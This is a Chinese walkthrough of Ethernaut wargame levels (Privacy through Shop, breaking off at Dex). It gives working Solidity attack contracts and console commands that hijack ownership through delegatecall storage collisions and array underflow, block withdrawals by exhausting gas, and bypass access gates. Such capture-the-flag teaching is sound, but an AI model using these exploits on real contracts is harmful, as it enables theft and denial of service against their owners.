  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

这是变量定义,对应的,我们有槽存储分布如下:

-----------------------------------------------------
| unused (31)    |          locked(1)               | <- slot 0
-----------------------------------------------------
|                       ID(32)                      | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) |  denomination (1) | flattening(1)  | <- slot 2
-----------------------------------------------------
| data[0](32)  | <- slot 3
-----------------------------------------------------
| data[1](32)  | <- slot 4
-----------------------------------------------------
| data[2](32)  | <- slot 5
-----------------------------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

所以,data[2]存储在slot 5里。

合约交互

输入await web3.eth.getStorageAt(contract.address,5)得到data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'
await web3.eth.getStorageAt(contract.address,5)
此时bytes16与bytes32之间存在转换。要注意,以太坊有两种存储方式,大端(strings & bytes,从左开始)及小端(其他类型,从大开始)。因此,从32到16转换时,需要砍掉右边的16个字节。

我们该怎么做呢?即'0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)

手动拆分
之后,直接提交结果,准备解锁。contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d')
contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d
此时,合约已经完成解锁。
await contract.locked()
提交实例,本关卡成功!

关卡成功!

总结

还是那句话,区块链上没有秘密。


13 GateKeeper One

大家好 我又回来了。最近真的很忙,我抓紧8月份将这一系列完成,然后进行下一步内容的分享。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284。本关卡的目的是满足gateOnegateTwogateThree,成功实现entrant的修改。

那么我们需要怎么做呢?首先看一看modifier分别提出了什么要求。看看能否满足和修改?

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
  • 1
  • 2
  • 3
  • 4

分析gateOne,可以看出需要msg.sender != tx.origin,这表明我们需要一个合约作为中转。

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }
  • 1
  • 2
  • 3
  • 4

分析gateTwo,这表明在执行到该步骤时,需要剩下的gas必须为8191的倍数,这需要我们对gas作出设定。

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

分析gateThree,这表明需要输入特殊的bytes8数据,保证其1-16位为tx.origin的数据且17-32位为0(uint32(uint64(_gateKey)) == uint16(tx.origin),),33-64位不全为0(uint32(uint64(_gateKey)) != uint64(_gateKey))。

所以我们可以整理思路,编写智能合约了。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    uint64 offset = 0xFFFFFFFF0000FFFF;
    bytes8 changedValue;
    Gate gateImpl;

    constructor(address addr) public {
        gateImpl = Gate(addr);
    }

    function getAddress() public {
        changedValue = bytes8(uint64(tx.origin) & offset);
    }

    function check1() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
    }

    function check2() public view returns (bool){
        return uint32(uint64(changedValue)) != uint64(changedValue);
    }

    function check3() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(tx.origin);
    }

    function attack() public {
        gateImpl.enter(changedValue);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

这里主要看为什么能够解决gateThree的需求。当获取输入的时候,会进行bytes8(uint64(tx.origin) & offset)运算。

  • address类型长度为160位,20字节,40个十六进制
  • uint64(tx.origin)tx.origin进行了截取,选取后64位,8字节,16十六进制。
  • offset类型为uint64,默认值为0xFFFFFFFF0000FFFF,最后的FFFF保证其最后16位不发生改变,中间的0000保证17-33位为0,剩下的FFFFFFFF则保证34-64位不全为0(只要tx.origin不是这样就好)。
  • 通过&运算完成变换,以bytes8存储在changedValue变量,用以实际攻击。

合约交互

部署合约,传入目标合约0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284,构建合约的地址为0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d

部署合约
点击getAddress,计算changedValue。此时,点击check1check2check3来查看gateThree的要求是否满足。由截图可见,均满足。
gateThree已满足
由于gateOne已经自动满足了,所以我们可以直接通过调用来调试实际的gas了。
点击attack发起进攻,由于是跨合约调用,所以我们先将Gas Limit调大一些(实际远远不用这么大),如图所示。
设置gas

此时,我们进入测试网Explorer查看交易详细信息,不出意外,交易将会被回滚。这是因为当前的gas没有满足要求。
交易回滚

点击右上角,选择Geth Debug Trace来看详细的编译过程。
Geth Debug Trace
里面是每步操作的执行过程及其所消耗的GAS。
Geth Debug Trace 详情

页面中搜索GAS,操作中总共有2个,分析整个调用顺序,应该前者是合约内部调用前发起,后者则是gateTwo通过gasLeft主动发起。所以记下该GAS操作后剩余的gas(因为查询本身也会消耗gas),此处为70215。我们可以根据该值除8191的余数调整gas limit直至完成攻击。
GAS详情

下表则是我们的发起过程,需要重复进行几次才能完成攻击。

原始gas LimitGAS操作后剩余gas余数下一次输入gas
10000070215468795313
95313656017395240
9524065529195239

注意当gas设置为95239后,交易成功。如截图所示:
攻击成功
输入await contract.entrant() == player,此时返回true表明攻击成功。
await contract.entrant() == player
提交实例,本关卡成功!

关卡成功

总结

Gas的调试很有意思,值得细细研究。


14 GateKeeper Two

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F。本关卡的目的是满足gateOnegateTwogateThree,成功实现entrant的修改。

观察其核心代码,依旧是gateOnegateTwogateThree

  • gateOne依旧是要求msg.sender != tx.origin,即必须有一个中间合约。
  • gateTwo要求extcodesize(caller())==0,即调用者(对应msg.sender)的关联代码长度为0,而我们知道,智能合约代码是不为0的。
  • gateThree则要求输入对应的bytes8满足相应的要求。

乍一看似乎gateOnegateTwo无法同时满足,但是可以考虑到,当合约正在构建时,其关联代码也是为0的。所以我们可以在构建函数里发起攻击。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    constructor(address addr) public {
        Gate gateImpl = Gate(addr);
        bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        gateImpl.enter(input);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

值得注意的是,我们这里针对gateThree使用了主动下溢出获取全为1的uint64(两次异或就消失了)。

合约交互

部署合约,传入目标合约0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F,构建合约的地址为0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f

部署成功后,利用await contract.entrant() == player查看是否攻击成功。答案是成功的。

await contract.entrant() == player
提交实例,本关卡成功!
关卡成功

总结

那该如何保证不处理智能合约发来的请求呢?msg.sender=tx.origin即可。


15 Naught Coin

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2。本关卡的目的是将自身的余额变为0。

乍一看合约,对player存在如下限制:

    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

似乎是无法绕过的,我们似乎也无法通过合约进攻,因为默认是扣去自身的token。
但有一看,NaughCoin是继承ERC20,而我们知道ERC20中可不只一个转账函数。我们可以试试通过其他方法。

仔细一看,原始的ERC20中还存在transferFrom函数。

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

当然,这前提是有足够的allowance。我们可以开始试试了。

合约交互

首先通过await contract.approve(player,await contract.balanceOf(player)),使得自身可以通过transferFrom函数进行转账。
await contract.approve(player,await contract.balanceOf(player))
随后我们通过await contract.transferFrom(player,contract.address,await contract.balanceOf(player))将余额转移到合约。
await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
此时再通过await contract.balanceOf(player)查看余额,可知攻击成功,余额为0。
await contract.balanceOf(player)
提交实例,本关卡成功!
在这里插入图片描述

总结

继承部分函数不影响其他的使用,这可以说的上是表面合约了。


16 Preservation

我又回来了,给外方的培训算是快要告一段落,在这段过程中,我认为我也有许多收获。在培训、讲解的过程中,我的思路也变得更为清晰了。可喜可贺。理论上来说,我初步计划的是在8月完成Ethernaut的攻防,然后开启下一阶段的分享。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046。本关卡的目的是获取目标合约的所有权。那我们还是要看看,目标合约的薄弱点在哪里,我们hack的入口又在哪里?

我们对目标展开详细分析

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  • 1
  • 2
  • 3
  • 4
  • 5

此处目标存储了timeZone1LibrarytimeZone2LibraryownerstoredTime变量,而前三者都是在创建时指定的。

既然要获取目标合约的所有权,首先我们查找修改owner的语句,但是翻遍代码都没有找到,或许我们得看看有哪些危险函数

  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
  • 1
  • 2
  • 3

没错,就是这里,delegatecall!
其实,在Delegation一关中,我们专门提到过call函数族中的区别:

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
  • delegatecall:调用后内置变量 msg 的值A不会修改为调用者B,但执行环境为调用者的运行环境B
  • callcode:调用后内置变量 msg 的值A会修改为调用者B,但执行环境为调用者的运行环境B

此时,使用delegate call时,我们只是相当于调用了函数,而实际执行环境还是本身的运行环境。如果要更为底层的来说,又该怎么理解呢?这个环境,尤其是涉及到storage变量的存储时,是根据插槽来使用的,而不是变量的名字。换句话来说,我们如果通过delegate call修改storage变量,其实是修改当前环境下对应的插槽!

理解了这一点,我们再来看当前合约,真是怎么看怎么不对劲:当调用对应合约LibraryContractsetTime函数后,如所见即所得,storedTime变量被修改,这其实会修改运行环境下的slot 0,换而言之,其实timeZone1Library所处的插槽已经被修改了。这个合约本身就是有问题的!

也就是因为它有问题,我们才要处理它!我们首先想将timeZone1Library的地址修改为我们的攻击合约,在想办法通过delegate call实现后续的攻击。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;


contract attacker {

    address public tmpAddr1;
    address public tmpAddr2;
    address public owner; 

    constructor() public {

    }

    function setTime(uint _time) public {
        owner = address(_time);
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

乍一看,这和原来合约的有什么区别么?其实有的,就是我们在修改时特意使得修改的是第三个插槽,也就是slot 2。变量tmpAddr1tmpAddr2其实只是一个插槽的占位符,并无特殊含义。

合约交互

首先我们部署攻击合约,合约地址为0x852D36AcCF80Eb6611FC124844e52DC9fC72c958。现在我们就是想用其替换原有的变量timeZone1Library

首先,我们可以查询目标合约目前的插槽状况。
slot
其布局应当为

-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5        | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

我们试着调用await contract.setFirstTime()(first 还是 second 其实并不影响,可以思考以下为什么)并传入我们的攻击合约。此时可以看到其实已经发生了改变。我们可以直接传入地址而不去在意uint的限制,因为具体构建的data并不会指明参数类型,而会是evm手动的编译。
嵌入攻击合约
此时,其布局应当为

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

此时,想法就很简单,直接调用await contract.setFirstTime()并传入player地址。传入后查看owner变量是否发生修改,可以看到已经成功获取到了合约所有权。
成功获取到了合约所有权
此时布局为:

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

提交实例,本关卡完成!
关卡完成

总结

还是得明白 delegate call共享环境到底共享的是什么。


17 Recovery

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046。本关卡的目的是找到“丢失的地址”(我们给他转去了0.001ether却忘记了其地址)并恢复丢失的以太。

这题其实有两种思路,一种略微取巧了,第二个我猜是题目真正想考的。
根据题目描述可以知道,这其实是一个连续的过程:合约创建者创建通证合约的工厂合约,后者再创建通证合约(被遗忘的地址)。我们就围绕这个思路展开。

合约交互

找到遗忘的地址,方法一 : 基于浏览器

这里的浏览器可不是Browser,而是Explorer
我们可以查看自己的交易记录。可以看到我们在里面还转移了两次0.001以太。
交易记录
我们可以基于内部调用展开分析。整体流程如下:

  • 用户账户调用Ethernaut合约0xd991431d8b033ddcb84dad257f4821e9d5b38c33
  • Ethernaut合约0xd991431d8b033ddcb84dad257f4821e9d5b38c33调用关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2并转账0.001Ether
  • 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2创建工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2
  • 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2调用工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2,应该是generateToken接口
  • 工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2创建了通证合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
  • 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2向通证合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8转账0.001Ether,随后忘记该合约地址。

在这里插入图片描述
通过浏览器,我们找到了该通证合约地址为0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8

找到遗忘的地址,方法二 : 基于地址生成

其实,合约地址的生成是有规律可寻的。经常可以看到有的通证或组织跨链部署的合约都是同样的,这是因为合约地址是根据创建者的地址及nonce来计算的,两者先进行RLP编码再利用keccak256进行哈希计算,在最终的结果取后20个字节作为地址(哈希值原本为32字节)。

  • 创建者的地址是已知的,而nonce也是从初始值递增获取到的。
  • 外部地址nonce初始值为0,每次转账或创建合约等会导致nonce加一
  • 合约地址nonce初始值为1,每次创建合约会导致nonce加一(内部调用不会)

我们用web3.js试试召回丢失的合约地址。目前已知工厂合约为0xfeB7158F1d0Ff49043e7e2265576224145b158f2,nonce为1,
输入为web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,),结果为9d91abf611bbf14e52fa4cddea81f8f2cf665cb8

找回

找到了合约,现在就要尝试和合约进行交互。我们可以新建合约,也可以直接通过web3.js与合约进行交互。

首先,我们通过encodeFunctionSignature获取函数指示,并构造参数。最后通过sendTransaction发送出来。
构造参数
可以看到有4字节的函数以及32字节的输入(不够的补0)。
在这里插入图片描述
成功调用!
成功调用
提交实例,本关卡成功!
在这里插入图片描述)

总结

其实感觉自己原理都知道,但实操起来总有些不熟练,还得多练习~


18 MagicNumber

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c。本关卡就是希望我们能手写solidity的opcode,构建合约,再被调用是能直接返回魔数0x42。准确来说,就是希望我们熟悉当我们创建合约的时候,transaction中的data实际指的是什么。

这一块其实我也不是特别熟悉,所以也查询了一些资料。当我们用Solidity部署合约时,究竟会发生些什么?

  • Solidity代码已经写好,当用户点击部署时,会发送创建合约的交易(此交易没有to选项),此时solidity语言已经被编译为字节码
  • EVM接收到请求后会将data取出来,这实际上是字节码
  • 字节码将会被载入到栈内,分为两部分:初始化字节码及运行态字节码
  • EVM将会执行初始化字节码,并将运行态字节码返回用以正常时的利用。

我们这里其实既要写运行态字节码,又要写初始化的字节码。

那就开始编写字节码。

合约编写

运行态字节码

运行态其实就是直接返回RETURN 42。可是opcodeRETURN是基于栈的。它会读取栈中的p和s并返回。其中p代表存储的内存地址,而s代表的是存储数据的大小。所以我们的思路就是,先把数据利用mstore存到内存里,再利用RETURN返回。

  • mstore会读取栈中的p和v,并最终将数据存储到p位置上

    • push1 0x42 -> 60 42
    • push1 0x60 -> 60 60(存储在0x60的位置)
    • mstore -> 52
  • RETURN返回0x42

    • push1 0x20 -> 60 200x20=32即uint256的字节数)
    • push1 0x60 -> 60 60
    • return -> f3

合起来就是604260605260206060f3。看上去运行态字节码就这么简单。

初始化字节码

其核心就是初始化并通过codecopy将运行态字节码存到内存去,在这之后,这将自动地被EVM处理并存储到区块链上。

  • codecopy会读取参数t、f、s,其中t是代码的目的内存地址,f是运行态代码相对于整体(初始化+运行态)的偏移,而s则是代码大小。我们这里选择t=0x20(这里没有强制性要求),f=unknown(是1字节的偏移量)s=0x0a(10个字节的大小)

    • push1 0x0a -> 60 0a
    • push1 0xUN -> 60 UN
    • push1 0x20 -> 60 20
    • codecopy -> 39
  • 通过RETURN将代码返回给EVM

    • push1 0x0a -> 60 0a
    • push1 0x20 -> 60 20
    • return -> f3
      此时初始化字节码有12字节,所以运行态偏移为12=0x0c=UN
      最终初始化字节码为600a600c602039600a6020f3

构建与测试

构建字节码0x600a600c602039600a6020f3604260605260206060f3
我们在console界面构造了交易以创建合约。
创建合约
由于交易没有接受方,自动被识别为部署合约
部署合约
部署完成,可以看出,合约地址为0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771
部署完成
将合约设置为solver。后面当我们提交后会自动调用以查看是否满足。
设置solver
提交关卡,进行检验,发现没有成功?怎么回事?

先查看交易的RAW TRACE,可以看出最后的确是访问了我们的合约,也的确是返回了0x42。

DEBUG TRACE
再去看汇编,可以看到,的确也是执行了。
汇编检查
随即我们在remix上的导入,调用函数,的确也都返回0x42。
remix结果正常
难道?我们修改返回的值从0x42到42(0x2a)。

构建字节码0x600a600c602039600a6020f3602a60605260206060f3
此时通过remix调用,的确都返回42。再提交看看?成功了!
关卡成功

总结

其实有人会觉得困惑?也没有个函数选择器啥的?其实这里需要补充一下,平常我们通过solidity编写智能合约后,在编译时会植入函数选择器。而我们本关卡没有这一步骤,所以就如同remix调用的图一样,所有函数其实都执行的同一块命令,得到的是同一个结果。


19 AlienCodex

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef。本关卡的目的是获取合约的所有权。那我们先看看合约内有没有设置所有权的代码?

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;
  ...
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

看到代码就知道,合约里应该是没有设置所有权的代码,那我们可能就要想办法从其他地方入手了。发现代码里有这段:

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
  • 1
  • 2
  • 3

看来就是这里了,想办法从这里入手,通过该操作以改变插槽存储值的大小。

合约交互

我们先看看slot里存的都是些什么?

查询slot存储
由于合约继承了Ownable合约,所以slot0中存储的就是owner对象,此时为0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272。实际上该地址就是创建目标合约的地址,如下图所示:

ownable变量, the owner will still get their share
而存储的contact变量也是在slot 0中(一个插槽长度为32位,能够存放地址(20)+布尔型(1)),目前为0即为false。slot1存储的则是codex动态数组,更准确来说,应该是codex动态数组的长度,而具体的下标内容呢?会按序存储在keccak256(bytes(1))+x的插槽内,其中,x就是数组的下标。所以我们将插槽表示出来:

-----------------------------------------------------
| unused(11 bytes) |contact = false  |  0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272       | <- slot 0
-----------------------------------------------------
| codex length =0       | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0]      | <- slot ??
-----------------------------------------------------
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

我们现在计算codex data的起始插槽,应该是0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

计算起始数据插槽
我们先测试一下准确性。由于contacted modifier的存在,我们先修改contact变量。调用await contact.make_contact(),再次查看插槽数值,可以发现变量成功被修改。
成功修改contact变量
先存一个值看看,await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。

测试
再存一个值看看,await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。

成功
现在我们就希望通过修改codexdata导致溢出最终修改slot 0。
首先我们连续调用三次await contract.retract()codex.length下溢出为2**256-1。此时先前输入的数据均已丢失。

修改codex.length
那下标该是多少呢?应该是2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1。因为我们到达末端后需要再进一位产生上溢出,返回slot0。在计算的过程中我们遇到一个问题,那就是javascript会利用科学计数法,而这会导致精度的丢失。为了简便起见,我们用remix计算,结果是35707666377435648211887908874984608119992236509074197713628505308453184860938

使用remix辅助计算
那我们就用await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)来调用,此时会覆盖原有slot。但一检查发现不对,结果跑前面去了。看来我们又要修改一下,不能直接传入player,需要传入0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b

在这里插入图片描述
输入await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'),此举是在地址前面补齐24个0,凑足244+404=256位即32bytes,从而将地址存入正确的存储位置。
修改后重新发起
此时,合约所有者已经成功修改。
成功修改
提交实例,本关卡成功!
关卡成功

总结

在涉及到owner方面(或者其他重要变量)一定要慎重,寻找所有的可能性。


20 Denial

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xeb587746E66F008f686521669B5ea99735b1310B。本关卡的目的是阻止owner提款。我们先看看各角色是什么。

    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;输入
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

每当用户提款时,会调用withdraw函数,取出1%发给partner,还有1%发给owner。我们能做的就是在partner端定义函数,使的发给owner的步骤无法进行。

然而,合约中调用的是call并附上了所有gas。我们先回顾一下sendcalltransfer之间的区别。

  • transfer如果异常会转账失败,并抛出异常,存在gas限制
  • send如果异常会转账失败,返回false,不终止执行,存在gas限制
  • call如果异常会转账失败,返回false,不终止执行,没有gas限制

所以我们的入手点就是消耗光其gas,光失败不会终止后续执行的!

如何消耗呢?那我们就来看看requireassert

  • assert会消耗掉所有剩余的gas并恢复所有的操作
  • require会退还所有剩余的gas并返回一个值

所以我们似乎可以在assert上下功夫。

攻击合约编写

攻击合约很简单,就是默认assert(false)并回滚一切操作。

pragma solidity ^0.6.0;


contract attacker {

    constructor() public {
    }
    
    fallback() external payable {
        assert(false);
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

合约交互

部署攻击合约,地址为0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7

部署攻击合约
输入await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')将攻击合约设置为partner角色。
设置partner
此时我们发起withdraw测试一下。输入await contract.withdraw(),结果发现由于gas耗尽,所以失败。
withdraw调用失败
提交实例,本关卡成功!
关卡成功

总结

还是那句老话,合约的交互是难以信任的。


21 Shop

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7。本关卡的目的是用低于问讯要求的价格实现购买。其具体代码段如下:

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

合约会询问用户msg.sender(所以可以是智能合约)的出价,如果其price()函数返回的结果超过当前的定价并且商品仍未卖出,则会将定价设为用户的出价。现在看应该是要求用户两次出价返回的结果不同。然而,我们可以看到Buyer类型的接口price()是一个view类型的函数,这表明只能读取变量而不应当对变量有所修改,即不能改变当前合约的状态。这可怎么办呢?

那么有没有办法能够使得view方法两次返回的值不同呢?目前来说,有两种方法:

  • 依托于外部合约的变化
  • 依托于本身变量的变化

攻击合约编写

外部合约的状态变化

如果view类型方法依托于外部合约的状态,通过询问外部变量,即可无修改地实现返回值的区别。

同样基于remix,我们编写合约如下:

pragma solidity ^0.6.0;


interface Shop {
  function buy() external;
  function isSold() external view returns (bool);码
}

contract attacker {

    Shop shop;

    constructor(address _addr) public {
        shop = Shop(_addr);
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        if (!shop.isSold()){
            return 101;
        }else{
            return 99;
        }
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

此时由于在请求price()前后Shop合约的isSold变量已发生了变化,所以我们可以基于该变量设置if规则,这种方法是适用的。

本身变量的变化

如果我们依赖于nowtimestamp等变量,的确可以实现在不同区块下view类型的函数会返回不同结果,然而,在同一区块下,似乎仍难以区分开来。

我们有如下合约:

contract attacker2 {

    Shop shop;
    uint time;

    constructor(address _addr) public {
        shop = Shop(_addr);
        time = now;
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        return (130-(now-time));
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

在不同时刻调用view类型的price函数,返回的值是有区别的。然而,在同一区块呢,很难去达成区别,所以是不够适用的。
115

106

合约交互

先查看合约当前状态。
合约当前状态
部署攻击合约,合约地址为0x8201E303702976dc3E203a4D3cDe244D522274bf
部署攻击合约
此时调用price方法,返回101
获取当前价格
调用attack方法发起进攻。调用完后刷新目标合约状态。此时商品已卖出,价格为99。
刷新目标合约状态
提交实例,本关卡完成!
本关卡完成!

总结

有时候从另一个角度去想问题,这和我们常规理解的可能不一样。


22 Dex

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x28B73f0b92f69A35c1645a56a11877b044de3366。本关卡的是DEX(Decentralized Exchange,去中心化交易所)的简易版本。

对合约展开分析,合约中只存有两个通证合约,一个是token1,一个是token2

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  • 1
  • 2
  • 3
  • 4

而合约支持我们根据通证之间的比率进行兑换。兑换的价格为两个通证的数量之比。

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
